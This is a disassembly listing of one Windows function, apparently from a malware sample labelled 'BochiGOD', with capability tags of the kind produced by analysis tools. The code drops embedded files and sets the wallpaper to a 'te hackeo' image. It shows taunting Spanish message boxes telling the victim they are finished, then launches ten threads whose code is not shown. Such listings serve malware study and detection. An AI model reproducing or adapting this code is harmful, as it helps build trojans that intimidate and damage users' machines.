Function at 0x1400124a0
Capabilities:
Get session user name
Query environment variable
Write file on windows

Disassembly:
push r13
mov eax, 0x7d6e8
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000c080
lea rsi, [0x14008925d]
sub rsp, rax
call fcn.14000b190
xor ecx, ecx
lea rdi, [rsp + 0x24a]
call qword [sym.imp.msvcrt.dll__time64]
mov rcx, rax
call sub.msvcrt.dll_srand
lea rcx, str.USERPROFILE
call sub.msvcrt.dll_getenv
mov ecx, 0x8b9a
lea rdx, [0x14008907a]
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x14008907d]
mov rbp, rax
call sub.msvcrt.dll_fopen
test rax, rax
je 0x140012848
mov r12, rax
lea rsi, [rsp + 0x24a]
lea rbx, [rsp + 0x8de4]
mov rcx, rsi
mov r9, r12
mov edx, 1
inc rsi
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rsi, rbx
jne 0x14001251e
mov rcx, r12
lea rdi, [rsp + 0x3b6a2]
lea rsi, [0x140013020]
call sub.msvcrt.dll_fclose
xor edx, edx
mov r9d, 1
lea r8, str.C:WindowsTempBochi_te_hackeo.jpg
mov ecx, 0x14
lea r13, [rsp + 0x3b6a2]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
mov ecx, 0x4203e
lea rdx, [0x14008907a]
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x1400890ea]
call sub.msvcrt.dll_fopen
test rax, rax
mov r12, rax
je 0x140012848
mov rsi, r13
lea rdi, [rsp + 0x7d6e0]
mov rcx, rsi
mov r9, r12
mov edx, 1
inc rsi
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rsi, rdi
jne 0x1400125a6
mov rcx, r12
lea rsi, [0x140055060]
mov rdi, rbx
call sub.msvcrt.dll_fclose
mov ecx, 0x328be
lea rdx, [0x14008907a]
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x14008910a]
call sub.msvcrt.dll_fopen
mov r12, rax
test rax, rax
je 0x140012848
mov rcx, rbx
mov r9, r12
mov edx, 1
inc rbx
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rbx, r13
jne 0x1400125fc
mov rcx, r12
lea r12, [rsp + 0x149]
lea rdi, [rsp + 0xa1]
call sub.msvcrt.dll_fclose
lea rdx, [rsp + 0x2c]
mov rcx, r12
mov dword [rsp + 0x2c], 0x101
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea r10, [rsp + 0x81]
mov ecx, 0x2a
movabs rax, 0x6f6e207574206553
mov qword [rsp + 0x81], rax
xor eax, eax
movabs rdx, 0x3a7365206572626d
rep stosd dword [rdi], eax
mov rcx, r10
mov qword [rsp + 0x89], rdx
mov rdx, r12
mov qword [rsp + 0x91], 0x20
mov qword [rsp + 0x99], 0
call sub.msvcrt.dll_strcat
mov rbx, qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
mov r9d, 0x10
lea r8, str.BochiGOD
mov rdx, rax
call rbx
xor ecx, ecx
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.Como_vez_bro_estas_jodido_ejecutar_esto_fue_lo_peor_que_pudistes_hacer
call rbx
mov r9d, 0x10
lea r8, str.BochiGOD
xor ecx, ecx
lea rdx, str.Ya_no_hay_vuelta_atras
call rbx
mov rcx, rbp
call fcn.1400122a0
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x30]
lea r8, [0x140011f50]
call fcn.140006bf0
test eax, eax
je 0x140012726
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_los_4_primeros_hilos
jmp 0x140012844
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x38]
lea r8, [0x140012060]
call fcn.140006bf0
test eax, eax
jne 0x14001270d
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x40]
lea r8, [0x1400121b0]
call fcn.140006bf0
test eax, eax
jne 0x14001270d
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x48]
lea r8, [0x140011d50]
call fcn.140006bf0
test eax, eax
jne 0x14001270d
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x50]
lea r8, [0x140011de0]
call fcn.140006bf0
test eax, eax
je 0x1400127a7
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_los_ultimos_5_hilos
jmp 0x140012844
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8, [0x140011ea0]
call fcn.140006bf0
test eax, eax
jne 0x14001278e
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x60]
lea r8, [0x140012130]
call fcn.140006bf0
test eax, eax
jne 0x14001278e
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x68]
lea r8, [0x140011fc0]
call fcn.140006bf0
test eax, eax
jne 0x14001278e
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8, [0x140011cd0]
call fcn.140006bf0
test eax, eax
jne 0x14001278e
lea rcx, [rsp + 0x78]
mov r9, rbp
lea r8, [fcn.1400122a0]
xor edx, edx
call fcn.140006bf0
mov r12d, eax
test eax, eax
je 0x140012850
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_el_hilo_10
xor ecx, ecx
call rbx
mov r12d, 1
jmp 0x1400128c8
mov rcx, qword [rsp + 0x30]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x38]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x40]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x48]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x50]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x58]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x60]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x68]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x70]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x78]
xor edx, edx
call fcn.140006eb0
add rsp, 0x7d6e8
mov eax, r12d
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret